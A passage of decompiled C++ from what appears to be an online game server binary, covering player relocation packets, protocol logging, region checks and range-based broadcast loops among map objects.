*)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); v5[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&::this, v5); if ( v6 ) { v7 = *(_DWORD *)((char *)v2 + 78); v8 = *(_DWORD *)(v7 + 4); v9 = *(_DWORD *)v7; v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v10; v11 = v8; v12 = (char *)&namestring + 256 * v10; *(_DWORD *)v12 = *(_DWORD *)v3; v13 = v9; *((_DWORD *)v12 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v3 + 8); v12[12] = 0; v14 = DebugLogging::operator<<(&CoordRepairLog, v12); v15 = DebugLogging::operator<<(v14, (char *)&stru_59F2B8); v16 = DebugLogging::operator<<(v15, v13); v17 = DebugLogging::operator<<(v16, (char *)&stru_59F2B8); v18 = DebugLogging::operator<<(v17, v11); DebugLogging::operator<<(v18, &deb_LF); v19 = *(_DWORD *)&v6->regenloc[0].PKer; v20 = *(_DWORD *)&v6->regenloc[0].Summoned; v21 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16387; v27 = v19; v28 = v20; *((_WORD *)v21 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v21 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v21 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( v6->KingdomQuestMap ) { *((_DWORD *)v21 + 3) = *(_DWORD *)&v6->regencity.n3_name[0]; *((_DWORD *)v21 + 4) = *(_DWORD *)&v6->regencity.n3_name[4]; *((_DWORD *)v21 + 5) = *(_DWORD *)&v6->regencity.n3_name[8]; *((_DWORD *)v21 + 6) = *(_DWORD *)&v6->regenloc[0].PKer; *((_DWORD *)v21 + 7) = *(_DWORD *)&v6->regenloc[0].Summoned; } else { *((_DWORD *)v21 + 3) = *(_DWORD *)v3; *((_DWORD *)v21 + 4) = *(_DWORD *)(v3 + 4); *((_DWORD *)v21 + 5) = *(_DWORD *)(v3 + 8); *((_DWORD *)v21 + 6) = v27; *((_DWORD *)v21 + 7) = v28; } *((_DWORD *)v21 + 8) = -1; *((_DWORD *)v21 + 11) = 0; *((_DWORD *)v21 + 10) = 0; *((_DWORD *)v21 + 9) = 0; strncpy(v21 + 36, byte_59A24E, 0xCu); *((_DWORD *)v21 + 12) = 0; *((_DWORD *)v21 + 13) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 56) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v22); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc : Packet Too Long", 56); } v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1514; *(_DWORD *)(v23 + 2) = *((_DWORD *)v21 + 2); *(_DWORD *)(v23 + 6) = *((_DWORD *)v21 + 3); *(_DWORD *)(v23 + 10) = *((_DWORD *)v21 + 4); *(_DWORD *)(v23 + 14) = *((_DWORD *)v21 + 5); *(_DWORD *)(v23 + 18) = *((_DWORD *)v21 + 6); *(_DWORD *)(v23 + 22) = *((_DWORD *)v21 + 7); *(_DWORD *)(v23 + 26) = -1; v24 = *(_DWORD *)((char *)v2 + 78); *(_DWORD *)(v23 + 30) = *(_DWORD *)v24; *(_DWORD *)(v23 + 34) = *(_DWORD *)(v24 + 4); *((_WORD *)v23 + 19) = 9999; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 40) ) { v25 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v25); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc : Packet Too Long", 40); } **((_BYTE **)v2 + 929) = 0; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 816))(v2, 1); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 824))(v2); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v2 + 1464))(v2, 1669, 0, 0); } v26 = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; } else { v26 = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v26); __security_check_cookie(v29); } //----- (004F7070) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Store(ProtocolLogger *this, NETCOMMAND *netcmd, SHINE_XY_TYPE *coord) { ProtocolLogger *v3; // esi@1 int v4; // ecx@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolLogger::pl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolLogger::pl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->pl_NetCommand[v3->pl_Pointer].cmd.protocol = netcmd->protocol; v3->pl_NetCommand[v3->pl_Pointer].tick = clockwatch.cw_CurrTick; v4 = v3->pl_Pointer; v3->pl_NetCommand[v4].locate.x = coord->x; v3->pl_NetCommand[v4].locate.y = coord->y; v3->pl_Pointer = (v3->pl_Pointer + 1) & 0xF; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolLogger::pl_Store"); } //----- (004F7120) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Clear(ProtocolLogger *this) { ProtocolLogger *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolLogger::pl_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolLogger::pl_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->pl_NetCommand[0].cmd; v3 = 16; do { *(_WORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); v1->pl_Pointer = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolLogger::pl_Clear"); } //----- (004F7190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LastProtocol(void *this, NETCOMMAND *netcmd) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LastProtocol"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LastProtocol"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ProtocolLogger::pl_Store((ProtocolLogger *)((char *)v2 + 92280), netcmd, *(SHINE_XY_TYPE **)((char *)v2 + 78)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LastProtocol"); } //----- (004F7240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck(void *this) { void *v1; // esi@1 int v2; // ebp@1 int v3; // eax@1 int v4; // eax@3 unsigned int v5; // edi@3 int v6; // ebp@3 unsigned int v7; // ebx@3 int v8; // eax@7 unsigned int v9; // eax@9 int v10; // eax@12 int v11; // edi@12 int v12; // ST18_4@12 int v13; // ST10_4@12 int v14; // ST08_4@12 DebugLogging *v15; // eax@12 DebugLogging *v16; // eax@12 DebugLogging *v17; // eax@12 DebugLogging *v18; // eax@12 DebugLogging *v19; // eax@12 DebugLogging *v20; // eax@12 DebugLogging *v21; // eax@12 FunctionEntarance _; // [sp+Ch] [bp-14h]@1 unsigned int v23; // [sp+10h] [bp-10h]@14 int v24; // [sp+1Ch] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; v3 = *(_DWORD *)((char *)v1 + 98); v24 = 0; if ( v3 ) { v4 = *(_DWORD *)(v3 + 12); v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 8); v7 = *(_DWORD *)(v4 + 4); if ( !(_S104_0 & 1) ) { _S104_0 |= 1u; *(_QWORD *)&elderine.n3_name[4] = 0i64; *(_DWORD *)&elderine.n3_name[0] = 0; strncpy( elderine.n3_name, (const char *)&stru_59CBB8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer, 0xCu); atexit(_E105_0); } if ( __PAIR__(v7, v5) == *(_QWORD *)&elderine && v6 == *(_DWORD *)&elderine.n3_name[8] ) { v8 = *(_DWORD *)((char *)v1 + 78); if ( *(_DWORD *)v8 >= 0x1770u ) { if ( *(_DWORD *)v8 <= 0x4E20u ) { v9 = *(_DWORD *)(v8 + 4); if ( v9 >= 0x1770 ) { if ( v9 <= 0x4E20 ) { v24 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_14; } } } } v10 = *(_DWORD *)((char *)v1 + 78); v11 = clockwatch.cw_CurrTick; v12 = *(_DWORD *)(v10 + 4); v13 = *(_DWORD *)v10; v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v15 = DebugLogging::operator<<(&EldLocateLog, v11); v16 = DebugLogging::operator<<(v15, ":"); v17 = DebugLogging::operator<<(v16, v14); v18 = DebugLogging::operator<<(v17, " "); v19 = DebugLogging::operator<<(v18, v13); v20 = DebugLogging::operator<<(v19, (char *)&stru_59F2B8); v21 = DebugLogging::operator<<(v20, v12); DebugLogging::operator<<(v21, &deb_LF); ProtocolLogger::pl_Logging((ProtocolLogger *)((char *)v1 + 92280)); DebugLogging::operator<<(&EldLocateLog, &deb_LF); } --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); goto LABEL_14; } funcallanalizer.fca_stackpoint = v2 - 1; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); LABEL_14: __security_check_cookie(v23); } //----- (004F7450) -------------------------------------------------------- void __thiscall ListCheckStruct::lcs_Init(ListCheckStruct *this, ListCheckStruct *lcs) { ListCheckStruct *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ListCheckStruct::lcs_Init"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListCheckStruct::lcs_Init"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->lcs_ListCheck[0] = lcs->lcs_ListCheck[0] - 1; v2->lcs_ListCheck[1] = lcs->lcs_ListCheck[1] - 1; v2->lcs_ListCheck[2] = lcs->lcs_ListCheck[2] - 1; v2->lcs_ListCheck[3] = lcs->lcs_ListCheck[3] - 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ListCheckStruct::lcs_Init"); } //----- (004F74C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SlantedListCheck(void *this) { void *v1; // esi@1 unsigned int v2; // ecx@1 DebugLogging *v3; // eax@2 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SlantedListCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SlantedListCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)((char *)v1 + 4 * g_BroadcastStackPoint + 62) == v2 ) { v3 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); DebugLogging::operator<<(v3, &deb_LF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SlantedListCheck"); result = 0; } else { *(_DWORD *)((char *)v1 + 4 * g_BroadcastStackPoint + 62) = v2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SlantedListCheck"); result = 1; } return result; } // 5F4960: using guessed type int g_BroadcastStackPoint; //----- (004F75B0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SetHP(int hp) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SetHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SetHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SetHP"); } //----- (004F7600) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SetHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SetHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_SetHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; *((_DWORD *)v2 + 1865) = hp; if ( *((_DWORD *)v2 + 1865) > (unsigned int)(*(int (__thiscall **)(void *))(v3 + 1244))(v2) ) *((_DWORD *)v2 + 1865) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SetHP"); } //----- (004F76C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004F7720) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004F7770) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveHalt(void *this) { int v1; // ecx@1 v1 = (int)((char *)this + 140); *(_DWORD *)(v1 + 4) = 0; MoveManager::_mm_ReserveHaltState((MoveManager *)v1); } //----- (004F7790) -------------------------------------------------------- char __thiscall SlantedCoordList::CoordedNode::cn_RemoveList(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // esi@1 SlantedCoordList::CoordedNode *v2; // eax@1 SlantedCoordList::CoordedNode *v3; // eax@7 char result; // al@9 int v5; // [sp-4h] [bp-8h]@3 v1 = this; v2 = this->cn_next; if ( this->cn_prev ) { if ( !v2 ) { v5 = 1; goto LABEL_6; } } else { if ( v2 ) { v5 = 0; LABEL_6: AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_RemoveList : asymmetry linkage", v5); goto LABEL_7; } } LABEL_7: v3 = v1->cn_prev; if ( v3 != v1 || v1->cn_next != v1 ) { v3->cn_next = v1->cn_next; v1->cn_next->cn_prev = v1->cn_prev; SlantedCoordList::CoordedNode::cn_IsValid(v1->cn_prev); SlantedCoordList::CoordedNode::cn_IsValid(v1->cn_next); v1->cn_prev = v1; v1->cn_next = v1; result = 1; } else { result = 0; } return result; } //----- (004F7800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Unmark(void *this, int when, char logoutpacket, char SaveType) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Unmark"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Unmark"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 784))(v4); if ( logoutpacket ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1288))(v4); SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)((char *)v4 + 22)); SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)((char *)v4 + 34)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Unmark"); } //----- (004F78C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_LogoutPacketBroadcast(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ecx@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6149; v3 = *((_WORD *)v1 + 2); v6 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 12); LOBYTE(v6) = 1; if ( v4 && !ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0) ) ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"); } //----- (004F79B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ecx@1 AxialListPacketBroadcast4ItemPickUp alchat; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6149; v3 = *(_WORD *)&v1->gap0[4]; v6 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(&alchat, &gpp, 4); v4 = *(_DWORD *)(*(_DWORD *)&v1->gap0[98] + 12); LOBYTE(v6) = 1; if ( v4 && !ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0) ) ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"); } //----- (004F7AA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange_Simple(int this, int ala, int nRange) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 v3 = (void *)this; v4 = *(_DWORD *)(this + 78); v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); return ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, nRange, 0, ala, 1, 65535); } //----- (004F8250) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int ala, char tome, __int16 excepter) { void *v8; // ebp@1 char v9; // al@2 DebugLogging *v10; // eax@3 int v11; // edi@13 int v12; // edx@13 int v13; // ebx@13 int v14; // esi@13 bool v15; // zf@15 bool v16; // sf@15 unsigned __int8 v17; // of@15 int v18; // edx@19 int v19; // esi@19 int v20; // eax@25 int v21; // esi@25 int v22; // ebp@30 int v23; // edi@30 int v24; // eax@34 int v25; // eax@37 DebugLogging *v26; // eax@39 DebugLogging *v27; // esi@45 _iobuf *v28; // eax@48 int v29; // ecx@50 DebugLogging *v30; // esi@58 int v31; // eax@62 int v32; // ebp@62 int v33; // edi@67 int v34; // edx@67 int v35; // ebx@67 int v36; // eax@71 int v37; // esi@73 int v38; // edi@73 signed int v39; // ecx@73 int v40; // esi@75 int v41; // eax@75 signed int v42; // ecx@76 _iobuf *v43; // eax@88 char v44; // bl@100 void *v45; // [sp+Ch] [bp-134h]@1 int rangesquar; // [sp+10h] [bp-130h]@13 int cos1024; // [sp+14h] [bp-12Ch]@0 VectorClass::UnitVector targetvector; // [sp+1Ch] [bp-124h]@36 FunctionEntarance _; // [sp+2Ch] [bp-114h]@1 char string; // [sp+30h] [bp-110h]@88 unsigned int v51; // [sp+130h] [bp-10h]@104 int v52; // [sp+13Ch] [bp-4h]@1 v8 = this; v45 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v52 = 0; if ( g_BroadcastStackPoint >= 3 ) { v10 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v10, &deb_LF); v9 = 0; } else { ++g_BroadcastStackPoint; v9 = 1; } LOBYTE(v52) = 1; if ( !v9 ) goto LABEL_8; if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v8 + 26) + 4) + 1572))() == v8 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v8 + 30) + 4) + 1572))() == v8 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v52 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); goto LABEL_104; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( fansector ) cos1024 = ShineRadian::sr_cos1024(&shineradian, *(_DWORD *)fansector / 2); v11 = range; rangesquar = range * range; v12 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 26) + 4); loop = 0; v13 = center; v14 = (*(int (**)(void))(v12 + 1572))(); if ( v14 ) { while ( 1 ) { if ( (unsigned int)(range + **(_DWORD **)(v14 + 78)) <= *(_DWORD *)center ) goto LABEL_19; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v14) ) goto LABEL_40; if ( !(v14 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v14 + 26) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v14 + 2116))(v14, 1); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal0"); FieldMap::fm_Relink(*(void **)(v14 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 0"); goto LABEL_40; } *(_DWORD *)(v14 + 4 * g_BroadcastStackPoint + 46) = event; v14 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v14 + 26) + 4) + 1572))(); if ( !v14 ) goto LABEL_19; } v26 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); DebugLogging::operator<<(v26, &deb_LF); goto LABEL_40; } LABEL_19: v18 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 30) + 4); loop = 0; v19 = (*(int (**)(void))(v18 + 1572))(); if ( v19 ) { while ( 1 ) { if ( **(_DWORD **)(v19 + 78) >= (unsigned int)(range + *(_DWORD *)center) ) goto LABEL_25; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v19) ) goto LABEL_40; if ( !(v19 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v19 + 30) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v19 + 2116))(v19, 2); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal1"); FieldMap::fm_Relink(*(void **)(v19 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 1"); goto LABEL_40; } *(_DWORD *)(v19 + 4 * g_BroadcastStackPoint + 46) = event; v19 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v19 + 30) + 4) + 1572))(); if ( !v19 ) goto LABEL_25; } v27 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v27->dl_Activ && v27->dl_FilePointer ) { v28 = DebugLogging::dl_FilePoint(v27); fputc(10, v28); fflush(v27->dl_FilePointer); fclose(v27->dl_FilePointer); v27->dl_FilePointer = 0; } LABEL_40: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v52 = -1; LABEL_43: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); goto LABEL_104; } LABEL_25: ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v20 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 38) + 4); loop = 0; v21 = (*(int (**)(void))(v20 + 1572))(); if ( v21 ) { while ( 1 ) { if ( (unsigned int)(v11 + *(_DWORD *)(*(_DWORD *)(v21 + 78) + 4)) <= *(_DWORD *)(center + 4) ) goto LABEL_62; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v21) ) goto LABEL_55; if ( !(v21 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v21 + 38) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v21 + 2116))(v21, 3); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal2"); FieldMap::fm_Relink(*(void **)(v21 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 2"); goto LABEL_55; } v22 = *(_DWORD *)(center + 4); v23 = (**(_DWORD **)(v21 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v21 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v21 + 78) + 